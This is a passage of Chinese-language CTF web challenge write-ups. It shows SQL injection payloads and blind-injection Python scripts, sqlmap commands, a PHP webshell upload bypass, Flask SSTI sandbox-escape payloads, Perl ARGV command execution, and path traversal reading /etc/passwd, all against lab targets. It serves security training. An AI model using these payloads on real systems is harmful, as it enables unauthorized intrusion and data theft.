name=admin'&pass=123发现页面报错,存在SQL注入 测试SQL语句的闭合符号#,这里#通过URL编码为%23name=admin'%23&pass=123发现页面显示正常,说明#是该SQL语句的闭合符号 测试SQL注入存在的字段数name=admin'order by 3%23&pass=123 #先测试3个字段,页面显示正常name=admin'order by 4%23&pass=123 #再测试4个字段,页面显示错误那么SQL注入中存在3个字段数 通过union selcet联合查询语句查询字段回显位置name=admin'union select 1,2,3%23&pass=123发现页面报错,可能union select语句被过滤导致的错误 将selcet 关键字修改为大写的SELECT,提交,发现页面正常显示,说明select大写可以绕过过滤name=admin'union SELECT 1,2,3%23&pass=123既然联合查询语句无法进行注入,这里尝试通过updatexml报错函数进行查询,下面报错查询出数据库的版本name=admin'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)%23&pass=123报错查询出数据库的版本为:5.5.64-MariaDB-1ubuntu0.14.04.1 报错查询出用户名name=admin' and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)%23&pass=123用户名:root@localhost~ 报错查询出当前数据库名name=admin'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)%23&pass=123数据库名为:note 报错查询出当前数据库note的表名name=admin'and updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from information_schema.tables where table_schema=database())),1)%23&pass=123 爆出表名:fl4g,users 爆出查询出flag表名的字段名name=admin'and updatexml(1,concat(0x7e, (SELECT(group_concat(column_name))from information_schema.columns where table_name='fl4g')),1)%23&pass=123字段名:flag 报错查询出flag字段的内容name=admin'and updatexml(1,concat(0x7e,(SELECT(flag)from fl4g)),1)%23&pass=123 方法二:这里通过sqlmap进行注入,先输入登录用户名和密码,然后通过bupsuit抓包,保存为data.txt data.txt:POST http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com/login.php HTTP/1.1Host: eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.comConnection: keep-aliveContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.comReferer: http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com/login.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=17b2110c14b348-029ed0a4395d2d-6373264-144000-17b2110c14c5c3; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1628347352; ci_session=d301e818ba1f28f834072b3fa9b2502add07fee6; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1628391371; __jsluid_h=977e36203f386ae8a9f4be9791a4a1fe; PHPSESSID=3o3l3jdhc6ftjdbc9ga601bo14 name=admin&pass=12通过sqlmap探测网站是否存在注入python sqlmap.py -r data.txt发现当前靶机网站存在布尔和时间盲注注入 sqlmap爆出当前数据库名python sqlmap.py -r data.txt --current-db爆出的数据库名:note sqlmap列出note数据库所有的表名python sqlmap.py -r data.txt -D note --tables爆出表名:fl4g,users sqlmap 列出flag表名的所有列名python sqlmap.py -r data.txt -D note -T fl4g --columns 爆出列名:flag sqlmap 打印输出flag列名字段值的数据python sqlmap.py -r data.txt -D note -T fl4g -C flag --dump 最终 flag:n1book{login_sqli_is_nice} 题目名称:从0到1 CTFer成长之路--SQL注入-1题目writeup:访问网站靶机,页面可以正常显示一段内容http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1猜测id变量存在sql 注入,这里加入单引号,发现页面和正常页面不一样,说明是存在注入的http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1'通过#结束注入语句闭合,发现页面显示正常,这里#在浏览器中以url编码输入。http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1' %23字段查询使用order by 语句测试字段3不报错,4报错,证明有3个字段http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1' order by 3%23字段回显查询发现在2,3位置有回显,这里id=1要变成-1,因为1的时候,只把查到的第一条显示出来,因此需要输入-1,显示回显全部。http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,2,3%23数据库查询联合查询出数据库名为notehttp://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,database(),3%23 表名查询查询出note数据库的表名为:fl4g和noteshttp://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' %23字段查询查询出f14g表的字段名为fllllaghttp://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' %23查询字段内容查询出fllllag字段的内容为:n1book{union_select_is_so_cool}http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1'union select 1,group_concat(fllllag),3 from fl4g %23方法二:sqlmap方法:获取注入点 sqlmap -u "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" 获取数据库名,发现存在note数据库名 sqlmap -u "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" --dbs 3.获取news数据库名中的表名为fl4g和notes表名 sqlmap -u "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" --tables -D note 4.获取secret_talbes表中的字段,得到fllll4g字段 sqlmap -u "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" -D note -T fl4g --columns 5.获取字段fl4g内容,得到flag sqlmap -u http://111.200.241.244:53198 --data "search=1" -D note -T fl4g -C "fllllag" --dump 最终flag:n1book{union_select_is_so_cool} 题目名称:从0到1 CTFer成长之路--粗心的小李题目writeup:访问靶场网站,页面内容中传递出该题目和git泄露有关http://eci-2ze687nrysk8eas2z6vo.cloudeci1.ichunqiu.com/使用GitHack.py进行扫描,并获得index.htmlhttp://eci-2ze687nrysk8eas2z6vo.cloudeci1.ichunqiu.com/.git/python GitHack.py 打开index.html,页面内容中包含了flag最终flag:n1book{git_looks_s0_easyfun} 题目名称:从0到1 CTFer成长之路--常见的搜集题目内容:一共3部分flag 题目writeup:访问靶机网站,页面内容显示了关键内容为“敏感文件”那么应该与文件目录有关了。并且根据题目内容描述, flag是三部分组成的。http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/ 这里通过dirsearch进行目录扫描python3 dirsearch.py -u http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/ 访问robots.txt路径,得到flag1的内容,为flag第一部分。http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/robots.txt http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/flag1_is_her3_fun.txt flag1的内容:flag1:n1book{info_1 访问路径index.php~ ,得到flag2的内容,为flag第二部分http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/index.php~flag2的内容:flag2:s_v3ry_im 访问路径.index.php.swp ,得到flag3的内容,为flag第三部分http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/.index.php.swp flag3的内容:flag3:p0rtant_hack}三部分flag组合一起,最终flag:n1book{info_1s_v3ry_imp0rtant_hack} 题目名称:ics-07题目描述:工控云管理系统项目管理页面解析漏洞题目writeup:启动题目场景,获得靶机网站,访问网站如下http://111.200.241.244:50888/根据题目描述,点击业务管理,在页面中发现有vier-soue超链接,点击链接进入发现有三块PHP源代码。http://111.200.241.244:50888/index.php?page=flag.php主要代码分析如下 <?php session_start(); if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); } //第一块PHP代码分析:参数 page 存在 且 参数page不等于index.php.才包含flag.php,那么参数?page=flag.php就会进行文件包含 ?> <?php if ($_SESSION['admin']) { //如果session["admin"]为True $con = $_POST['con']; //con参数变量以 post提交 $file = $_POST['file']; //file参数变量以 post提交 $filename = "backup/".$file; //目录为假目录,传入file时,文件名后加上一个. if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ \ //$filename正则过滤匹配规则为:过滤了.文件以及.php或者php3、php4、php5、php5、pht、phtml等文件,可通过上传文件名如为sell.php\.或者shell.php\1.php\.绕过 die("Bad file extension"); }else{ chdir('uploaded'); //这里切换了路径,真实的路径在 uploaded下 $f = fopen($filename, 'w'); //上传以$filename文件名 fwrite($f, $con); //$con为写入的文件的内容 fclose($f); } } // 第二块php代码分析:如果$_SESSION['admin'] = True,那么POST提交con和file两个参数,且将$con 的内容写到$file中,并对$filename进行正则判断,如果判断正确文件会被上传到uploaded/backup目录下。 ?> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?> /* 第三块代码分析:首先使$_SESSION['admin'] = True,需要获取一个id参数, 并且id不为1,且最后一位等于9。floatval()用于获取变量的浮点数值,不能用于数组或对象,这里存在弱类型比较,floatval()后的值为浮点型且不完全等于1,substr要求最后一位是9,那么只要传入id=1+任意字符+9即可绕过*/ 首先我们要得到admin的session的条件,满足以下2个条件: 1.page为flag.php满足第一块php代码 2.使用id=1-9来绕过第三块PHP代码过滤 构造payload:?page=flag.php&id=1-9 http://111.200.241.244:50888/index.php?page=flag.php&id=1-9需要对if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))进行绕过,正则的话是判断.之后的字符,因此我们可以利用/.的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的,如shell.php/.可绕过。或者双文件名绕过,如c.php/b.php/.. 也就是访问b.php的父目录,也就是 c.php ,其中 .. 代表当前目录的父目录 , .代表当前目录我们要写入一句话木马,以post方式传文件,post变量file为文件名,con为文件内容,且传入的文件名为上文中2种之一的绕过文件方法。然后上传路径原本在根目录下的/backup/目录下面,由于加了个chdir()函数,因此将根目录后面加上了/uploaded/目录,然后在跟/backup/目录最后的上传目录为:/uploaded/backup/构造payload: con=<?php @eval($_POST[bk]) ?>&file=shell.php/.或者con=<?php @eval($_POST[bk]) ?>&file=c.php/b.php/.. http://111.200.241.244:50888/index.php?page=flag.php&id=1-9 post: con=<?php @eval($_POST[bk]) ?>&file=shell.php/. 由于chdir(‘uploaded’)改变目录为uploaded,又加上backup/shell.php拼接,所以目录为最终的上传目录为uploaded/backup/shell.phphttp://111.200.241.244:50888/uploaded/backup/ 通过蚁剑连接一句话,并对进行flag查找http://111.200.241.244:50888/uploaded/backup/shell.php最终flag:cyberpeace{2a8cb8444abeb5af640714b9a0e3f9b7} 题目名称:Confusion1题目描述:某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)题目writeup:启动题目场景,获得靶机网站,访问网站,页面显示了一张图片,蛇缠住了大象,猜测此系统使用了php+python(php的标志是大象,Python的标志是蛇)http://111.200.241.244:63580/进入注册和登录链接,均都显示404页面报错http://111.200.241.244:63580/login.phphttp://111.200.241.244:63580/register.php分别对注册和登录页面源码查看,发现源码注释中都包含了flag的位置view-source:http://111.200.241.244:63580/register.phpview-source:http://111.200.241.244:63580/login.php猜测本题存在Python SSTI漏洞,验证一下,在url后面添加{{2+2}},回车 http://111.200.241.244:63580/login.php/{{2+2}}, 界面返回2,我们输入的1+1被执行了,说明服务器执行了{{}}里面这一段代码,存在SSTI漏洞这里猜测使用的是 Python 的 Flask 框架( Flask 使用 Jinja2 作为模板引擎 ) ,所以本题的思路就是利用SSTI读取flag文件。 我们尝试使用经典payload直接读取flag: 发现页面显示“nope,find another way"说明系统进行了过滤 http://111.200.241.244:63580/login.php/''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() 尝试{{url_for.__globals__}} http://111.200.241.244:63580/login.php/%7B%7Burl_for.__globals__%7D%7D页面显示“DO NOT JIAOSHI,YOU CAN NOT USE IT!"应该也被过滤了。尝试{{config}}页面显示了request方法可用http://111.200.241.244:63580/login.php/%7B%7Bconfig%7D%7D经过尝试,发现系统过滤了class、 subclasses、 read等关键方法,但是并未过滤request方法:request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " ,所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。 {{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__ 沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。 payload如下: {{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=readhttp://111.200.241.244:63580/login.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read 最终flag:cyberpeace{30c9bf8b508298a2ba7c2493e6545f52} 题目名称:bug题目writeup:启动题目场景,获得靶场网站,访问网站,发现是一个登录页面,而且有注册页面和密码修改页面、http://111.200.241.244:63880/index.php?module=login这里注册一个测试账号testhttp://111.200.241.244:63880/index.php?module=register测试账号可以成功登陆 参数输入admin1账号,密码任意,提示用户名不存在再参数输入用户名 admin,密码任意,发现密码不正确 根据账号返回的信息提示,可知道系统中存在admin账号 尝试对test账号进行密码修改http://111.200.241.244:63880/index.php?module=findpwd发现可以成功修改密码http://111.200.241.244:63880/index.php?module=findpwd&step=1&doSubmit=yes 同时对修改密码处进行抓包,将test账号修改成admin,成功将admin的密码修改为123456 使用admin账号和密码123456登陆系统,进入Manage选项时http://111.200.241.244:63880/index.php提示IP Not allowed!,猜测需要使用127.0.0.1访问 在请求头部添加X-Forwarded-For: 127.0.0.1字段,进行ip伪造请求成功,并在响应页面返回了信息,其中在注释中包含了一个链接地址:index.php?module=filemanage&do=??? do的参数没有给出,根据module=filemanage字眼,猜测do的内容与文件操作有关,do=upload是上传点,经过尝试得到完整的url为: http://111.200.241.244:63880/index.php?module=filemanage&do=upload根据页面显示"just image?"猜测需要绕过文件类型检测,这里想到使用一句话图片木马上传。这里进行上传一句户图片木马,上传结果显示“Something shows it is a php”,其中检查到内容包含了php代码,这里做了文件内容过滤。可通过<scrirpt>脚本绕过,那么可将一句话图片木马中的php代码内容修改为:<script language="php">system("ls");</script> 上传修改后的一句话图片木马,返回显示为;You know what I want,证明上传的.jpg后缀名也被过滤了。 经过测试这里不仅对后缀进行了黑名单过滤,同时会检查文件头的内容以及文件内容。当上传后缀名为.php4和php5,可绕过上传,并获得flag最终flag:cyberpeace{c634cfa6e4b3ffb3fd9e9b3343a76d2b} 题目名称:leaking题目writeup:启动题目场景,获得靶场网站,访问网站,发现是一段node.js代码http://111.200.241.244:49495/node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。但是这道题比较有意思 本题考点: node.js中VM2沙箱逃逸JS通过Buffer类处理二进制数据的缓冲区首先给出题目的源码: "use strict"; var randomstring = require("randomstring");var express = require("express");var { VM} = require("vm2");var fs = require("fs"); var app = express();var flag = require("./config.js").flag app.get("/", function(req, res) { res.header("Content-Type", "text/plain"); /* Orange is so kind so he put the flag here. But if you can guess correctly :P */ eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";") if (req.query.data && req.query.data.length <= 12) { var vm = new VM({ timeout: 1000 }); console.log(req.query.data); res.send("eval ->" + vm.run(req.query.data)); } else { res.send(fs.readFileSync(__filename).toString()); }}); app.listen(3000, function() { console.log("listening on port 3000!");});我们把关键几行代码列出来:eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";") eval就是把里面的当作javascript语句来运行var vm = new VM({ timeout: 1000 }); console.log(req.query.data); res.send("eval ->" + vm.run(req.query.data));然后要Get传递一个data参数,将它放在vm2创建的沙盒中运行,并且对传入的参数长度进行了限制,不超过12,这里可以用数组绕过。该题定义变量flag,然后我们可以在沙箱里面执行任意的命令。那我们如何逃逸出去呢?逃逸所需知识:在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。低版本的node可以使用buffer()来查看内存,只要调用过的变量,都会存在内存中如果使用new Buffer(size)或其别名Buffer(size))创建,则对象不会填充零,而只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()来读取内存,使用data=Buffer(500)分配一个500的单位为8位字节的buffer,因此很容易得到姿势这儿的环境是8.0之前的,所以我们使用Buffer()来读取内存:import requests url = 'http://111.200.241.244:49495/?data=Buffer(500)' response = '' while 'flag' not in response: req = requests.get(url) response = req.text print(req.status_code) if 'flag{' in response: print(response) break或者# encoding=utf-8 import requests import time url = 'http://111.200.241.244:49495/?data=Buffer(500)' response = '' while 'flag' not in response: req = requests.get(url) response = req.text print(req.status_code) time.sleep(0.1) if 'flag{' in response: print(response) break 最终flag:flag{4nother_h34rtbleed_in_n0dejs} 题目名称:unfinish题目描述:sql题目writeup:启动题目场景,获得靶机网站,访问网站,是一个登录页面http://111.200.241.244:64668/login.php 这里尝试通过御剑目录扫描工具对其进行扫描,发现存在register.php路径 访问注册页面路径,下面可以进行常规的注册http://111.200.241.244:64668/register.php登录进去以后发现只显示了注册的用户名这里在用户名注册一个test'用户,发现注册失败 再次尝试用单引号闭合进行注册登录进入后发现用户名bk已经转换成0,说明存在注入 尝试一下这里是不是二次注入(这里注入,登陆后可以看到结果) 二次注入 二次注入的原理,在第一次进行数据库插入数据的时候(注册时),仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候(登录后),直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。 我们就能构造类似 0'+1+'0 当登录之后若是回显出1,则存在二次注入,我们就可以构造类似 爆出数据库 0'+ascii(substr(database() from 1 for 1)+'0 爆表 0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))+'0 语句0' + ascii(substr(database(),1,1)) +'0被过滤 尝试了一遍,这里会检测逗号,用from 1 for 1代替掉逗号就行 1' + ascii(substr(database() from 1 for 1)) +'1 登录之后可以看到ascii码这里在写脚本之前测试了一下,发现information_schema被过滤那就爆不了表名,所以猜测表名为flag 其中核心的注入代码就是:"0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i, substr的目的在于分割,防止字符串过长无法正常输出,ascii转换目的在于将flag与0想加不会出错. 之后通过正则去获取login.php页面的用户名值就是flag每一位的ascii码值flag.py: # coding=utf8 import requests import re register_url = "http://111.200.241.244:64668/register.php" login_url = "http://111.200.241.244:64668/login.php" database = "" table_name = "" column_name = "" flag = "" #获取数据库名 for i in range(1,10): register_data = { 'email':'test@test'+ str(i), 'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i, 'password':123 } r = requests.post(url=register_url,data=register_data) login_data = { 'email':'test@test'+ str(i), 'password':123 } r = requests.post(url=login_url,data=login_data) match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text) asc = match.group(1) if asc == '0': break database = database + chr(int(asc)) print('database:',database) #获取表名 ''' for i in range(1,20): register_data = { 'email':'test@test'+ str(i), 'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i, 'password':123 } r = requests.post(url=register_url,data=register_data) print(r.text) login_data = { 'email':'test@test'+ str(i), 'password':123 } r = requests.post(url=login_url,data=login_data) r.encoding = r.apparent_encoding print(r.text) match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text) asc = match.group(1) if asc == '0': break table_name = table_name + chr(int(asc)) print('table_name:',table_name) ''' #获取flag for i in range(1,100): register_data = { 'email':'test@test'+ str(i) + str(i), 'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i, 'password':123 } r = requests.post(url=register_url,data=register_data) login_data = { 'email':'test@test'+ str(i) + str(i), 'password':123 } r = requests.post(url=login_url,data=login_data) match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text) asc = match.group(1) if asc == '0': break flag = flag + chr(int(asc)) print('flag:',flag) 尝试进行时间延迟注入:# coding=utf8 import requests import sys url='http://111.200.241.244:64668/register.php' flag='' #爆数据库sql="1' and (select case when ascii(substr(database() from {0} for 1))={1} then sleep(5) else 1 end) or ''='" sql="1' and (select case when ascii(substr((select * from flag) from {0} for 1))={1} then sleep(5) else 1 end) or ''='" for i in range(1,50): print('guess:',str(i)) for ch in range(32,129): if ch==128: sys.exit(0) sqli=sql.format(i,ch) data={ "email":"[email protected]", "username":sqli, "password":"admin" } try: html=requests.post(url,data=data,timeout=3) except: flag+=chr(ch) print(flag) break 最终flag:flag{2494e4bf06734c39be2e1626f757ba4c} 题目名称:题目writup:启动题目场景,获得靶场网站,访问网站后,有3个超链接,点进去都是.pl文件,.pl文件都是用perl编写的网页文件。 http://111.200.241.244:49188/cgi-bin/hello.pl http://111.200.241.244:49188/cgi-bin/forms.plhttp://111.200.241.244:49188/cgi-bin/file.pl 点击Files,可以上传文件并把文件内容打印出来猜想后台应该用了param()函数,其后台主要代码如下:use strict;use warnings; use CGI;my $cgi= CGI->new;if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' ); while ( <$file> ) { print "$_"; }} param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的:方法一: bupsuit进行抓包,将上传的文件类型及文件内容处复制再粘贴一行,将filename后面的内容去掉,内容填入ARGV,然后盲猜flag文件在/flag中,可直接读取到flag的内容 ARGV内容如下:(------WebKitFormBoundarygKH5XY1IilLxk70d必须和下面请求相同) ------WebKitFormBoundarygKH5XY1IilLxk70d Content-Disposition: form-data; name="file" ARGV 方法二: 或者直接先读取file.pl文件,猜测路径为:/var/www/cgi-bin/file.pl file.pl的内容确实是上文猜测的后台主要代码,也用到了param()函数。然后我们利用bash来进行读取当前目录下的文件,payload为: /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| 通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"的等价形式。 列出了当前目录下的内容,发现flag /cgi-bin/file.pl?/flag #直接读取/flag文件内容 或者 /cgi-bin/file.pl?cat%20/flag%20| #使用命令读取/flag文件内容 方法三: 首先查看当前目录下的文件,发现当前目录下没有flag文件。payload为: /cgi-bin/file.pl?ls%20-l%20.%20|即执行ls -l . |命令,并查看到当前目录有file.pl和forms.pl以及hello.pl三个pl文件。 然后查看file.pl的源代码,发现确实使用了param()函数。payload为: /cgi-bin/file.pl?./file.pl 接着继续寻找flag文件,查看根目录,发现flag。payload为 /cgi-bin/file.pl?ls%20-l%20/%20| 最后读取flag即可。payload为 /cgi-bin/file.pl?/flag方法四: 使用awvs对靶机网站进行扫描,发现存在目录穿越和xss漏洞这里可以看到通过目录穿越漏洞任意读取到系统/etc/passwd的值 猜测flag在根目录,直接读取到flag的内容 最终flag:cyberpeace{01763543ef73fc02f332735062b2e666} 题目名称:Web_php_wrong_nginx_config题目writeup:启动题目场景,获得靶机网站,访问网站,发现是一个登录页面http://111.200.241.244:60458/login.php输入admin/admin登录,提示“网站建设中”通过dirsearch对目标靶机网站进行扫描,发现存在robots.txt以及admin目录python3 dirsearch.py -u http://111.200.241.244:60458/访问/robots.txt路径,发现隐藏可访问路径hint.php和Hack.php。http://111.200.241.244:60458/robots.txt访问hint.php页面显示了nginx的配置文件路径:/etc/nginx/sites-enabled/site.confhttp://111.200.241.244:60458/hint.php接着访问Hack.php页面,发现提示“请登录”,点击确定又返回到登录页面,这里可能有问题,猜测有逻辑漏洞存在。http://111.200.241.244:60458/Hack.php最后访问admin页面显示,请继续登录http://111.200.241.244:60458/admin/我们对Hack.php页面进行访问,然后通过bupsuit对其抓包分析,发现cookie:isLogin=0处可能存在逻辑问题。这里将isLogin=0修改为cookie:isLogin=1,然后进行请求,在响应包中发现是后台主页内容然后将cookie值修改为isLogin=1,并进行forward.两次对/earth.html页面请求的cookie值进行修改为1并进行forward后台看起来有很多选项卡,其实大部分都是假的,即使有几个选项存在页面跳转,也都是指向index.php,没有什么问题 真正的利用点在于管理中心 ,只有该链接可以跳转。 http://111.200.241.244:60458/admin/admin.php 这里继续将cookie的值修改为isLogin=1,然后进行请求,在响应包中心显示了设备分组页面内容。继续几次forward后,可以看到一个url地址:/admin/admin.php?file=index&ext=php,该地址中的?file=参数看起来存在任意文件包含漏洞 尝试对file=../../../../etc/passwd&ext=进行请求(注意修改cookie值),响应页面显示后台管理监控中心内容,但是/etc/passwd读不出来注意:ext一定不要写东西,因为它是一个后缀,如果写入php,的话,它会按照php进行打开,这里就留空白或者以txt形式打开。 尝试对file=index../&ext=php进行请求(注意修改cookie值),响应页面显示后台管理监控中心内容且包含有please continue关键字 尝试对file=index.../&ext=php进行请求(注意修改cookie值),页面显示后台管理监控中心内容且没有please continue关键字,那么证明../已经被系统过滤了。 使用..././绕过过滤,尝试访问 /admin/admin.php?file=..././..././..././..././etc/passwd&ext=,可以读取系统的/etc/passwd值读取该系统nginx容器的配置文件/etc/nginx/sites-enabled/site.conf尝试访问/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=,可读取到nginx的配置文件内容。 得到nginx的配置内容:server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var/www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http://localhost/ #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for; if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php $ { try_files $uri $uri/ /index.php?q=$uri&$args; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf; }其中有个不正确的配置点:location /web-img { alias /images/; autoindex on; } alias 用于给 localtion 指定的路径设置别名 , 在路径匹配时 , alias 会把 location 后面配置的路径丢弃掉 , 并把当前匹配到的目录指向到 alias 指定的目录 . autoindex 是一个目录浏览功能 , 用于列出当前目录的所有文件及子目录,这里在 URL 访问 /web-img , 就会访问系统根目录下的 /images/ 而如果在 URL 访问 /web-img../ , 则相当于访问 /images/../ , 即访问系统根目录 . 且由于开启了 autoindex , 我们可以直接在浏览器里看到根目录下的所有内容 尝试访问web-img/: http://111.200.241.244:60458/web-img/ 